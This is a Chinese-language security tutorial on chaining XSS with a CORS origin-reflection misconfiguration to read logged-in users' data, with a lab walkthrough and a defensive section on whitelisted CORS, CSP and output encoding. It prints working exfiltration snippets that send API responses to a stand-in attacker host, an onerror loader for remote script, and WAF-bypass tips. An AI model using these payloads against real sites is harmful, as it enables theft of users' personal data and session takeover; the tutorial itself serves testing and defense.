☰
XSS与CORS组合拳:跨域数据收割攻击链路的原理与实战复现
2026/10/19 8:47:05 网站建设 项目流程

1. 组合拳思路解析:XSS和CORS怎么就打到了一起

先聊一个很现实的问题:单看XSS(跨站脚本)和CORS(跨域资源共享),很多人都不陌生,但真正把它们串成一条完整的攻击链路,却很少有人能说清楚。我早期做渗透测试的时候也是这样,XSS拿下了,也就弹个alert证明一下存在,然后写进报告收工。但有一次在某业务系统的授权测试中,我偶然发现在目标站点的某个接口上,CORS配置居然把信任域直接设成了通配符加反射来源,而恰好旁边就躺着一个反射型XSS点——这两个漏洞单个看都属于中危,可当攻击者精心拼接起来,就变成了一条可以静默窃取用户数据的完整收割链。

所谓的“XSS+CORS组合拳”,本质上是把两个不同维度的问题串联:XSS负责在受害者浏览器里执行JavaScript,而CORS配置错误则负责扩宽跨域读取数据的权限边界。光有XSS,你只能在同一源内操作DOM、发同源请求,跨域读取数据会被同源策略挡住;光有CORS配置错误,你还要依赖攻击者能控制受害者的浏览器去发起请求——钓鱼、社工、恶意网站跳转,哪个都不够隐蔽。组合之后的效果是我在测试中很常用的思路:用XSS作为“撬棍”,撬开受害者的浏览器执行环境,再借错误的CORS配置去读取本不该被读取的跨域响应。整个攻击链路的终点,就是用户数据被批量拉走,放在我的服务器上等着看——当然这是在靶场和授权系统里做验证,生产环境没干过这种事。

那你肯定要问了,这个组合到底适合什么场景?什么样的项目能这样打?根据我的经验,典型的目标系统通常有三个特征:第一,存在可被利用的XSS点,哪怕是存储型、反射型都行,不要求权限多高;第二,目标API或页面存在CORS信任策略配置缺陷,比如把Origin原样反射、信任了不可控的域、甚至直接开了Access-Control-Allow-Origin: *还配合了Access-Control-Allow-Credentials: true;第三,目标站点的会话凭据走的是Cookie或者Authorization头,这样跨域请求才有携带凭证的价值。如果你的目标同时满足这三条,那这套组合拳基本就是“知识改变命运”式的高效,比单点爆破画面感强太多了。

这篇文章的定位,是给有一定Web安全基础、想理解漏洞组合而非只会单点扫描的人看的。我会把原理、适用条件、完整复现过程、问题排查方法以及防御侧的加固策略一次性讲透,所有代码都是基于授权靶场和本地实验环境整理的。顺着这条链路走完,你就会明白为什么现在越来越多的SRC报告把XSS和CORS绑定提交——不是安全研究者喜欢“报告注水”,而是这类组合漏洞的实际影响确实远大于两个漏洞各自的影响之和。

2. 前置知识补课:XSS和CORS各自是怎么工作的

2.1 XSS的本质:打破“信任用户输入”的默认假设

XSS的全称是Cross-Site Scripting,中文叫跨站脚本。它利用的是Web应用对用户输入处理不当、过滤不严的问题,让恶意HTML或JavaScript代码被浏览器当成页面的一部分执行。从分类上说,主流分三种:反射型(一次性,藏在URL里)、存储型(持久化,躺在数据库里)和DOM型(不经过服务端,纯前端DOM解析导致)。

理解XSS对组合攻击路线的意义,关键在于认清它的能力模型。一次成功的XSS意味着攻击者能在受害者的浏览器里以受害者的身份执行任意JavaScript——注意这个“受害者身份”四个字,它决定了后续所有跨域请求都带着真实的Cookie、真实的Token、真实的登录态。很多开发者觉得XSS无非就是弹个框、改个页面文字,影响很低,但实际上在组合漏洞里XSS扮演的是“代码执行入口”的角色,影响力瞬间放大到数据层面。

我在项目里衡量XSS可利用性的时候,最看重三个维度。一是触发条件是否稳定,存储型肯定优于反射型,因为反射型还要诱导用户点链接,用户如果用的是现代浏览器内置的XSS过滤器(现在叫XSS Auditor或类似机制,虽然很多已经改版了),可能还会拦截;二是控制范围有多大,一点能Insert多少字符、能不能带出站外请求、能不能引用外部JS;三是目标页面所在的环境,是否有重要的接口权限和敏感数据。三者都满足的情况下,XSS就已经不是“存在漏洞”那么简单了,而是“存在被利用的通道”。

2.2 CORS的机制:跨域请求怎么被放行或被拦截

CORS全称是Cross-Origin Resource Sharing,是浏览器基于同源策略之上的一种“受控放行”机制。默认情况下,A域名里的JavaScript是不能读取B域名接口响应的,但Web业务又确实需要跨域调用,于是CORS规范出现:服务器在响应头里通过Access-Control-Allow-Origin告诉浏览器“我这个接口允许哪些来源的跨域请求读取响应”,配合Access-Control-Allow-Credentials声明是否允许携带Cookie等凭证。

关键点来了:CORS是浏览器的强制机制,但对服务器的配置没有强制约束。如果配置员图省事,把Access-Control-Allow-Origin写死成*或者直接从请求头Origin中反射来源,那浏览器就会认为“服务器主动授权我这个来源跨域读取”,同源策略的防线就形同虚设了。尤其是Access-Control-Allow-Origin: *和Access-Control-Allow-Credentials: true同时出现时,按照规范浏览器是会拒绝携带Cookie的——真正危险的是那种“反射任意Origin + 允许Credentials”的组合,这才是攻击者请求一个来源就能拿到带Cookie跨域响应的情况。

需要额外提醒的是,CORS并不拦截“请求发出”,只限制“响应读取”。就算服务器没有配置CORS,跨域请求本身也能送到服务器,服务器该改数据还是改数据,只不过攻击者的JavaScript读不到响应内容。这就是为什么很多CSRF漏洞即使没有CORS也能利用——攻击者不需要读取响应,执行写操作就行。而CORS配置错误的杀伤力在于它把“盲打”变成了“明取”,攻击者不仅能让受害者的浏览器发请求,还能拿到返回的具体数据,比如个人信息、订单列表、接口密钥。

2.3 为什么单漏洞和组合漏洞的攻击效果完全不同

单独一个XSS,在注入站点内部可以做很多事:篡改页面、窃取同源Cookie、以用户身份发起同源操作。但浏览器同源策略一拦,想读取其他子域名或其他业务域的数据就很吃力,除非目标站点把所有服务都收敛在同一个源里。单独一个CORS配置错误,虽然理论上能跨域读接口数据,但攻击者无法凭空把自己的恶意脚本送到受害者的浏览器里执行,要么骗用户点击恶意链接,要么在其他站点挂马跳转,成功率不稳定。

组合之后逻辑就顺了:XSS负责“进场”,CORS负责“扩大战果”。XSS注入一段脚本,这段脚本在受害者浏览器里动态构造针对目标API的跨域请求,利用错误的CORS配置读取响应,然后把数据回传到攻击者的服务器。整个过程受害者完全无感,数据在后台静默流转,攻击者拿到的不是一枚单纯的会话令牌,而是整片业务数据。

我用一个生活化的类比来帮助理解:XSS就像你偷偷溜进了一栋大楼的监控室,能在里面操作屏幕;同源策略相当于每块屏幕只能看对应房间的监控画面;而CORS配置错误就相当于有人把某些屏幕的权限设置成了“任何人拿到这个房间的钥匙就能看”。组合攻击就是“溜进监控室(XSS)+ 拿到跨房间的钥匙(CORS配置缺陷)”,最终达成监控全楼(读取跨域数据)的效果。理解了这一层,后面的复现步骤就是顺水推舟的事了。

3. 组合攻击链路的设计:核心要点与每一步背后的逻辑

3.1 攻击链路线索拆解:从注入点到跨域读取的完整路径

组合攻击链路不能靠碰运气,每一步都需要精确设计和验证。我在模拟项目X的靶场里复现时,把整条链路拆成五个阶段,每个阶段的输入输出都是环环相扣的,像流水线一样运转。你可以直接把下面的路径当成一张路线图来参考:

第一阶段是漏洞发现。对目标系统做XSS点探测,同时对API接口做CORS策略探测。这两个动作可以并行,但最终要把结果汇总到一起判断可行性。

第二阶段是注入点利用。选定一个可稳定触发XSS的点位(在靶场里我会选择搜索框或者昵称字段这类常见反射点),把JavaScript代码通过合适的编码、闭合和事件触发方式注入进去,保证代码成功执行。

第三阶段是跨域请求构造。XSS脚本内部用fetch或XMLHttpRequest向目标API发起跨域请求,请求头里明确带上Origin字段——这个字段的值要和目标CORS策略信任模式匹配,确保浏览器允许读取响应。

第四阶段是数据回传。XSS脚本读取到响应后,把数据拼接成一个带参URL,再以new Image().src或者动态创建cript标签等方式发出回传请求,最终落到攻击者自己的服务器上。

第五阶段是验证闭环。攻击者服务器收到数据后,解析日志确认数据完整性,然后整个攻击链路的PoC才算跑通。这一步是很多人容易忽略的——光看到代码执行还不够,必须确认数据真的“出来了”,组合利用才算成功。

我在设计链路时一直坚持一个原则:每一步都要尽量“隐身”。比如构造跨域请求时用fetch而不是XMLHttpRequest,代码简洁、不出错概率低;比如回传数据时选用new Image()方式,即使被网络层抓包也只是一个正常的图片请求,不会暴露意图。攻击链路的优雅程度,往往决定了它在实战环境里的可靠性。

3.2 工具选型与瓶颈:哪些环节最容易把人卡住

组合攻击从头到尾涉及大量信息搜集、验证和调试环节,工具选不对能让人抓狂一整天。我把常用工具按照用途和优先级别整理成了一张表,你可以对照着参考:

工具/平台用途定位使用心得
浏览器开发者工具手工验证CORS行为、调试Payload网络面板里直接查看响应头,省去了手工构造请求的麻烦
Burp SuiteHTTP请求篡改、CORS策略探测、XSS验证通过Repeater快速修改Origin头,观察响应头是否反射,是最核心的工具
XSS平台/自建接收服务器验证XSS是否触发、接收回传数据自建时用Python写个简单的HTTP Server接收日志即可,灵活可控
在线编码工具/Payload生成器对各类型Payload做编码绕过注意环境隔离,有些在线工具本身就有收集Payload的嫌疑,敏感项目慎用
自动化漏洞扫描器辅助发现XSS和CORS问题这类工具的用处是缩小范围,千万别直接信任扫描结果,误报率很高

工具的抉择背后是对攻击阶段的理解。CORS策略探测阶段,Burp的Repeater比任何脚本都好用,因为你要快速改Origin头看响应变化,反复调试的体验至关重要。XSS验证阶段,直接用浏览器控制台注入十几次,比每次跑Burp省时间。数据回传阶段,自建一个带请求日志的Python服务器最靠谱,第三方平台虽然省事但你无法确定它会不会把你的数据再卖给别的人。

实际测试中容易被卡住的瓶颈有三个。第一个是CORS策略的细节判定——很多接口虽然有Access-Control-Allow-Origin反射,但没有开Access-Control-Allow-Credentials,这种属于“能读不能带凭证”,对Cookie型业务影响直接少了一半,判定要准确。第二个是XSS触发时机的把握——有些反射点需要特定编码或双层编码才能绕过WAF,这时候不能蛮干,要分析目标的技术栈和过滤方式。第三个是回传服务器可达性——如果你的VPS或服务器被目标网络策略拦了,payload再完美也只能自嗨,得提前确认外联通畅。

3.3 为什么这套组合特别适合“用户数据收割”这一目标

先说结论:在Web前端能获取的数据里,CORS放开跨域读取的那部分,恰好就是我们在组合攻击里最想拿的那部分。原因很简单,现代业务的架构往往是“统一登录 + 多端接口”,用户的主数据(个人信息、订单、地址)都集中在几个核心API里。这些API内部显然是要校验登录态的,但面对跨域读取的CORS策略却不设防。攻击者拿到XSS执行权限后,只要把脚本里的请求地址对准这些核心API,就能以受害者身份读取全部个人数据。

在模拟项目X的复现中,我构造了一个攻击页面:用一个存储型XSS挂到目标站点的用户资料页,访问该页面的用户Cookie自动被带到跨域请求里,目标API把用户的手机号、邮箱、收货地址和最近订单列表全部吐出来,数据回传我的接收服务器后,我再把这些记录和Cookie里的会话令牌整合,登录态直接接管。是不是感觉有点太顺了?这就是为什么组合漏洞的影响级别会被拉得那么高——因为数据的价值太直接了。

还有一点值得单独说明:很多系统的“用户数据”不只是个人信息,还包括上传的私有文件、好友列表、群成员信息等。这些数据对应的API如果也存在CORS配置缺陷,配合XSS收割起来同样毫无压力。防御方看这类问题的时候,不能只把它当做一个技术bug来修,而是要意识到“攻击者的目标从始至终是数据,漏洞只是手段”。

4. 实操落地:完整复现一次XSS+CORS组合漏洞利用

4.1 环境准备与靶场搭建:一个干净可控的测试空间

实操之前必须把话说在前面:所有步骤只能在授权靶场、CTF环境和本地实验环境里做,千万不要拿这套流程去打任何未经授权的线上系统。我这里搭建的是一个完全本地化的模拟环境,分为靶机端和攻击者端,全部跑在Docker容器里,网络相互隔离,也不会影响外部网络。

靶机端我用了经典的组合:一个基于Express框架写的Web应用,模拟一个带登录功能的用户中心。它有两条路由:一条是/search?q=反射型XSS点,直接把参数值拼接到HTML里没有任何过滤;另一条是/api/userinfo接口,返回当前用户的手机号、邮箱和最近订单,同时该接口的CORS配置是通过中间件加了一行响应头,把Origin请求头原样反射到Access-Control-Allow-Origin,并且置Access-Control-Allow-Credentials: true,这是个非常有代表性的错误配置示例。

攻击者端跑着一个Python写的回传服务器,默认监听8080端口,收到GET请求就把URL参数里的数据记录到本地日志文件。整个环境就三个容器:靶机Web服务、受害者浏览器(我用的是本机的Chrome配合一个代理指向靶机)、攻击者回传服务器。搭建完成后,我先手工在浏览器里登录了一下靶机后台,确保存在有效的会话Cookie,然后把整条链路按下面的步骤跑通。

4.2 XSS注入Payload:从触发条件到编码绕过的完整构造

在靶场的/search页面,输入参数q会被直接带进搜索结果页的<h1>标签里。构造反射型XSS的经典方式是把q的值写成乱闭合加脚本的形式,比如:

q=</h1><script>alert(1)</script>

但这个太粗糙了,实战里会被各种过滤机制拦住。我在模拟项目X里构造的是一个更贴合实际场景的Payload,目标是:不弹窗、不暴露攻击意图、内容尽可能短,为后续执行跨域请求脚本做铺路。核心脚本拆开看是这样的:

var xhr = new XMLHttpRequest(); xhr.open('GET', 'http://victim-api.example.com/api/userinfo', true); xhr.withCredentials = true; xhr.onreadystatechange = function() { if (xhr.readyState === 4 && xhr.status === 200) { // 数据拿到后,编码成参数拼到回传地址上 var img = new Image(); img.src = 'http://attacker-server.example.com:8080/collect?data=' + btoa(unescape(encodeURIComponent(xhr.responseText))); } }; xhr.send();

当然,XSS注入点不一定永远是裸的<script>插入,很多系统的过滤规则会拦截<script>标签,这时候就需要考虑用事件属性或<svg>标签触发的替代方案。比如在真实反馈中,我遇到过过滤了script字符串但没过滤img标签的情况,就可以用:

<img src=x onerror="var s=document.createElement('script');s.src='http://attacker-server.example.com/payload.js';document.body.appendChild(s)">

这种方式的关键在于“外链脚本”,把复杂度全部收敛到攻击者服务器的JS文件里,注入点只留一个非常短的加载器,这样既绕过了多数基于标签黑名单的过滤,又方便后续迭代payload不用反复重新注入。

构造payload的时候有两点坑我踩过,需要提醒你注意。第一点是编码环境:如果你在浏览器控制台手动粘贴payload时会触发编辑器自动转义,导致传入的引号和尖括号变成全角字符,代码直接失效;我习惯用Burp或者Python脚本提交请求来避免这个问题。第二点是触发时机:反射型XSS的脚本执行依赖页面加载,如果目标页面是异步渲染的,你插进去的节点可能先被清空再被重绘,元素事件永远绑不上——这种情况优先考虑存储型XSS,或者使用socket加载逻辑等页面稳定后再执行。

4.3 CORS跨域请求的构造细节:为什么你的请求被浏览器拦了

过去我在教新人调试组合漏洞时,最常见的困惑是:明明服务器返回了数据,但我的跨域请求回调里就是读不到。这个问题的根源往往是细节没做到位,跨域请求的“浏览器放行”逻辑有三层关卡需要全过,任何一环出问题都会卡住。

第一层是预检请求。如果你的跨域请求是简单请求(GET/POST,且Content-Type是表单类型),浏览器会直接发实际请求;但只要你加了自定义请求头,或者Content-Type用了application/json,就会触发OPTIONS预检。预检请求本身不带Cookie、不发业务数据,纯粹是问服务器“我这个来源能不能这么干”。如果服务器对OPTIONS响应里没有正确返回CORS头,后面的实际请求根本不会发出去。

第二层是实际响应头校验。浏览器在收到实际请求的响应后,会检查Access-Control-Allow-Origin是否包含当前页面的源,以及Access-Control-Allow-Credentials是否为true。如果Allow-Origin返回的是*,但请求携带了Cookie,浏览器会直接拒绝把响应交给JavaScript——这是规范明确规定的。

第三层是凭证模式设置。在fetch里必须写credentials: 'include',在XMLHttpRequest里必须设置xhr.withCredentials = true,否则即便服务器允许带凭证,浏览器不会在跨域请求中携带Cookie,后端拿不到用户身份,接口要么返回401要么返回空数据。

在靶场环境里,我最终调试通过的跨域请求写法如下(供参考):

fetch('http://victim-api.example.com/api/userinfo', { method: 'GET', credentials: 'include', headers: { 'Accept': 'application/json' } }) .then(r => r.json()) .then(data => { var img = new Image(); img.src = 'http://attacker-server.example.com:8080/collect?data=' + btoa(JSON.stringify(data)); });

这里Accept头不会触发预检,属于安全区,credentials: 'include'是必须项。我在实际项目里调试时,如果看到浏览器控制台报警“Response to preflight request doesn't pass access control check”或者“Credential is not supported if the CORS header ‘Access-Control-Allow-Origin’ is ‘*’”,第一时间就是去检查这两条:一是服务器CORS头是否反射了允许的Origin,二是Allow-Credentials和Allow-Origin匹配关系是否合法。

4.4 数据回传的隐蔽技巧:new Image、navator.sendBeacon等方案的取舍

跨域数据拿到手之后,最忌讳的操作是把数据通过fetch再发一个POST到攻击者服务器——浏览器会先发一个预检,页面性能变差不说,还容易被日志系统注意到。更稳妥的做法是借助HTTP请求的基本特性绕过CORS限制:发请求不需要CORS,读响应才需要。因此,数据回传只需要构造一个GET请求把数据塞在URL参数里即可。

我常用的回传方案有三个,按推荐度排序如下:

方案原理优点缺点
new Image().src动态创建图片请求,GET携带参数代码简洁自然,无CORS问题,日志形态像普通图片URL长度限制约2KB-8KB,不适合大量数据
navigator.sendBeacon浏览器异步发送POST,无CORS限制可传较大数据量,不受页面卸载影响不受你控制的请求头,内容格式有限
动态创建script标签通过JSONP风格接口回传可触发回调函数,灵活度高目标服务器需要配合输出JS格式,回传服务器要支持动态响应

综合考虑,我在单次收割时最常用的是new Image().src。原因很简单:移动端网关和各类安全设备对图片请求的监控力度远小于对跨域POST的监控,而且实现起来就一行代码,符合攻击链路“轻量化”的原则。但如果数据量大,比如要收割的是整页用户列表,sendBeacon更靠谱,它底层是一个不阻塞页面卸载的POST,虽然请求头固定,但接收端只要解析参数就行。

在模拟项目X的实操记录里,我最终的PoC是把整条链接在XSS注入脚本里用IIFE(立即执行函数)包起来,避免变量污染页面全局环境,外层再包一层try/catch,防止脚本出错导致页面崩溃、暴露攻击行为。整段代码在编辑器里压缩后只有几百字节,复制注入没有任何压力。

4.5 完整攻击链路的演示:一次从登录用户到数据落地的全程实录

下面是我在靶场里完整跑通的一次操作记录,按时间顺序描述,方便你对照复现:

第一步,我以攻击者身份向目标Web应用提交一个搜索请求,URL编码后的完整payload为:

http://victim-app.example.com/search?q=%3Cimg%20src%3Dx%20onerror%3D%22var%20s%3Ddocument.createElement('script')%3Bs.src%3D'http%3A%2F%2Fattacker-server.example.com%2Fpayload.js'%3Bdocument.body.appendChild(s)%22%3E

第二步,payload.js里的核心代码自动执行。它先尝试请求/api/userinfo,目标服务器看到请求头Origin: http://victim-app.example.com,响应头里反射了同一个Origin并加上Access-Control-Allow-Credentials: true,于是浏览器放行。这里的细节很有趣:因为我在注入时让页面源和接口源一致,所以实际请求其实算同源;但只要我把页面源换成我自己的恶意站(比如诱导用户访问攻击者页面),CORS错误配置就会让跨域也变得可行。为了演示CORS跨域效果,我还单独构造了一个恶意页面,仿冒受害者站点诱导用户点击,这种情况下页面源是http://attacker-page.example.com,目标API照样反射了该Origin,Cookie照样携带,数据读取成功。

第三步,脚本把响应数据JSON格式化后,用encodeURIComponent套了一层再btoa编码,拼到回传地址上,通过new Image().src发给攻击者服务器。攻击者服务器收到请求后,在日志里记录了一条GET /collect?data=MzE4MzIxOTAx...。

第四步,我用Python脚本解码日志里的data参数,还原出完整的用户信息:手机号、邮箱、收货地址和订单编号。至此,从触发XSS到数据落地的整条链路验证完毕。

整个流程用到的代码和脚本我整理成了一个模拟项目X的压缩包,放在本地实验室目录里,里面的README写明了环境搭建步骤和复现顺序。你如果自己搭环境,建议按照这个顺序来:先启动靶机服务,再启动攻击者回传服务器,然后打开受害者浏览器登录,最后将两条恶意URL分别验证——保证每一步都验证通过后再串起来跑,否则出问题的时候不知道锅该甩给谁。

5. 实战中的常见问题与排查技巧实录

5.1 问题速查表:从XSS不执行到CORS读不到的典型故障

组合漏洞调试过程中最烦人的就是“看起来都对但就是不通”。我把过去调试中反复踩过的坑整理成了一张速查表,你在实操中遇到类似问题可以直接按图索骥:

问题现象可能原因排查方向
XSS注入后页面无任何反应参数被编码、过滤或者拼入位置不在脚本上下文在浏览器开发者工具里查看最终渲染后的HTML源码,确认payload所在位置和过滤行为
XSS弹窗出现但外链脚本未加载CSP(内容安全策略)限制或外联地址被浏览器拦截查看控制台是否报CSP相关警告,考虑在payload中内联全部脚本
跨域请求状态码200但回调读不到数据CORS响应头不匹配或凭证模式未开启查看响应头里的Access-Control-Allow-Origin和Access-Control-Allow-Credentials值
浏览器提示CORS错误且请求为OPTIONS预检请求未通过在服务端增加对OPTIONS请求的正确响应,返回匹配的CORS头
数据回传为空或乱码编码方式不对或URL被截断换用sendBeacon方案或者分块传输
攻击者服务器没收到任何请求目标环境无外联权限或防火墙拦截先换成内网回传地址,或临时在本地起HTTP服务验证外联链路

以上六个问题是出现频率最高的,覆盖了从注入、触发、跨域、回传的完整链路。记住一个原则:组合攻击链路调试是“逐层验证,绝不跳步”的过程,任何一个环节的假设都要用证据去确认,而不是靠猜。

5.2 调试手段的细节分享:浏览器控制台、Burp和自建日志的配合

调试方法因人而异,我用熟了的一套“三板斧”组合可以供你参考。第一板斧是浏览器开发者工具,它负责看“浏览器视角”发生了什么:网络面板里要点开每个请求的详情,看请求头、响应头、Cookies;控制台里看有没有CORS相关报错、有没有JS语法错误;Sources面板里看最终渲染的HTML节点,确认payload有没有被完整注入。第二板斧是Burp Suite,它负责看“服务器视角”发生了什么:通过代理把浏览器的请求转发到Burp,你就能看到服务器实际收到的请求头——尤其是Origin字段,以及服务器实际返回的响应头。这两个视角对照起来,80%的问题都能一小时之内定位。

第三板斧是自建日志服务器,它负责看“攻击者视角”发生了什么:我的接收服务器通常会在控制台实时打印每一条收到的请求,时间、来源IP、完整URL参数全覆盖。三次调试下来你会发现一个规律:浏览器提示的CORS报错,未必是服务器配置错了,也可能是你请求里没有带credentials导致浏览器主动限制;而服务器响应头里明明正确的CORS配置,也可能因为代理层拦截或缓存导致浏览器拿到的是空头。这时候把三个视角的日志拼在一起,才能准确锁定故障层。

5.3 遇到Filter和WAF时怎么办:三层绕过思路

真实业务环境里,很少会像靶场一样给你一个干干净净的注入点。目标系统可能部署了WAF(Web应用防火墙)或者自研的Filter,对关键字做黑名单过滤。针对这个情况,我的思路分三层递进:

第一层是改变触发方式。如果<script>被拦,改用<img onerror>、<svg onload>、<video onerror>等白名单标签加事件属性;如果属性值被过滤,考虑事件属性是否支持fromCharCode拼接字符串来绕过简单关键字匹配。第二层是改变编码形态。HTML实体编码、URL双重编码、JS Unicode编码混着用,服务器解析完一层后再交给浏览器解析下一层,利用“解析层次多”这个特性绕过正则类的规则。第三层是改变攻击面。当前注入点过滤得太死,就去找另一个注入点——比如同站点的搜索历史、导出功能、附件名称等地方可能过滤宽松,换一个战场反而轻松。

值得单独强调的是,绕过过滤的前提是你对目标的过滤逻辑有充分的探测和理解,不能盲猜。我在测试中会先用一批无害的探针字符串(比如xss、<svg/onload>、javascript:)逐一提交,从响应内容的差异中推算过滤规则覆盖了哪些标签、哪些属性、哪些关键字,然后再对症构造。这个过程实际上考验的是分析能力,工具只是辅助。

6. 防御侧视角:如何把这条攻击链路的门关上

6.1 从根源上阻断XSS:输入输出双向治理

组合攻击的前提是XSS能成功触发,所以防住XSS是第一道闸门,也是最关键的一道。聊到具体做法,我的建议是“输入侧过滤 + 输出侧编码”双管齐下,缺一不可。

输入侧要对所有用户可控的参数做合法性校验,严格拒绝包含<、>、script、javascript:等特征的输入,尤其注意不要把“过滤”和“转义”混为一谈。输出侧要按上下文使用对应的编码函数:HTML标签体里用HTML实体编码,属性值里用属性编码加引号转义,JavaScript字符串要处理反斜杠和引号,URL参数要做URL编码。如果团队用的是主流框架(React、Vue、Angular等),框架默认的{{ }}插值机制就已经内置了转义,但要注意v-html、dangerouslySetInnerHTML这类“主动关闭转义”的坑,很多XSS漏洞就是这么来的。

Content-Security-Policy(CSP)是第二道闸门。把script-src严格限制为同源或指定白名单,能直接掐断外链脚本加载这条路,对“注入外链JS”的利用方式杀伤力巨大。CSP还能通过report-uri收集违反策略的行为日志,帮防御侧及时发现攻击尝试。我见过不少团队知道CSP这个概念但一直没落地,理由是“业务里有用到内联脚本,一开就挂”,其实可以通过'unsafe-inline'加nonce或者hash的方式逐步放行,不用一步到位,可以先从report-only模式开始灰度。

6.2 CORS配置的正确姿势:白名单模式和动态校验实现

CORS配置错的根源多半是“图省事”。正确的做法是维护一份显式的来源白名单,只对白名单内的Origin返回对应的Access-Control-Allow-Origin响应头,并且永远不要让Allow-Credentials: true和Allow-Origin: *同时出现。

以Node.js/Express中间件为例,一份相对稳妥的CORS配置长这样:

const allowedOrigins = [ 'https://app.example.com', 'https://admin.example.com' ]; app.use((req, res, next) => { const origin = req.headers.origin; if (origin && allowedOrigins.includes(origin)) { res.setHeader('Access-Control-Allow-Origin', origin); res.setHeader('Access-Control-Allow-Credentials', 'true'); res.setHeader('Access-Control-Allow-Methods', 'GET,POST,PUT,DELETE,OPTIONS'); res.setHeader('Access-Control-Allow-Headers', 'Content-Type,Authorization'); } if (req.method === 'OPTIONS') { return res.sendStatus(204); } next(); });

这份配置的关键点有两个:一是只认白名单内的来源,二是白名单之外的请求不会获得任何CORS授权,浏览器端就无法读取响应。如果业务上有大量动态子域名的需求,不能写死白名单,那也要实现“域名后缀匹配”的逻辑——比精确匹配更严格的是校验子域名和协议是否一致,绝不能简单地把Origin原样反射成Allow-Origin。

另外一个容易被忽视的坑是:安全团队修正了主API接口的CORS配置,却漏掉了静态资源服务器、CDN回源接口、第三方回调接口。攻击者一旦找到某个边缘接口的配置仍然是反射Origin,配合XSS照样能完成组合攻击。修CORS问题要做一次全网接口的全面排查,而不是修一两个页面了事。

6.3 数据层兜底方案:即使漏洞被利用,也要让数据损失最小化

防御的最终目标是“即使防线被突破,攻击者也拿不到高价值数据”。这一层是纵深防御的最后一道关口,具体可以从几个维度加固。

对敏感接口做额外的数据分级授权。比如手机号、身份证这类高风险数据,在后端响应之前要确认当前会话的IP、设备、行为上下文是否符合预期,一旦检测到跨域请求甚至可疑Referer,宁可返回脱敏数据也不返回完整数据。其次,对API响应统一做字段级脱敏,前端即使跨域拿到了响应,拿到的也只是一堆掩码后的手机号和虚拟邮箱,利用价值大幅缩水。

还有一点很重要:建立异常行为的实时监控。组合攻击的回传请求通常会有明显的特征——短时间内大量携带凭证的跨域请求,或者同一会话在多个源之间跳转读取数据。把这类行为纳入风控模型,一旦命中就触发二次认证或强制踢下线,攻击者的收割效率就会大打折扣。数据层的兜底虽然不能阻止第一次请求发出,但能让攻击者拿到的“战利品”变成鸡肋,从而大幅降低攻击动机和经济收益。

7. 延伸思考:从组合漏洞看Web安全的整体视角

讲到这里,XSS+CORS组合拳从原理到复现再到防御已经完整梳理了一遍。但我想在文章的尾巴上聊一点技术之外的东西,因为这直接关系到你以后做安全研究或者防御设计时的思维方式。

我在实际测试和团队分享中反复强调一个观点:Web安全问题的本质不是“某个漏洞是否存在”,而是“多个看似孤立的弱点之间是否可以被编排成一条攻击链”。很多团队每周都在扫描漏洞、修漏洞,但修的思路就是“扫描器报什么我修什么”,完全不去想这个漏洞和其他配置缺陷之间的关联关系。结果就是XSS修了一个点,另外十个点还在;CORS配置改了一个接口,另一个接口还露着。攻击者从来都是链式思维,防御者也必须建立链式视角。这正是我在文章开头强调“组合拳”的初衷。

如果你想把这类思路再往外推一推,有几个方向值得研究:XSS+JSONP劫持的组合、CORS+子域名接管配合、点击劫持+CORS跨域写操作等。每一种组合都有其特定的适用场景和数据价值,换汤不换药。核心方法是固定的:先梳理目标系统有哪些可被注入的入口、有哪些可被跨域读写的敏感接口、有哪些信任边界被错误放行,再把这些点用数据流向串起来,你看到的就不只是“几个中危漏洞”,而是一个安全体系的全貌。

我个人在做这个模拟项目X的时候,最大的体会是当攻击者同时掌握XSS和CORS这两块拼图时,攻击成本低得惊人——一段不到1KB的JavaScript就能完成从触发到回传的全流程,不需要任何服务器端权限,也不需要安装恶意软件,受害者从头到尾没有任何感知。这恰恰是Web前端攻击最让人后背发凉的地方,也是安全建设里最需要投入精力去防御的方向。希望这篇文章能帮你把这条链路的每个环节都看透,让“知其所以然”成为你做安全测试和防护设计的基本功。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询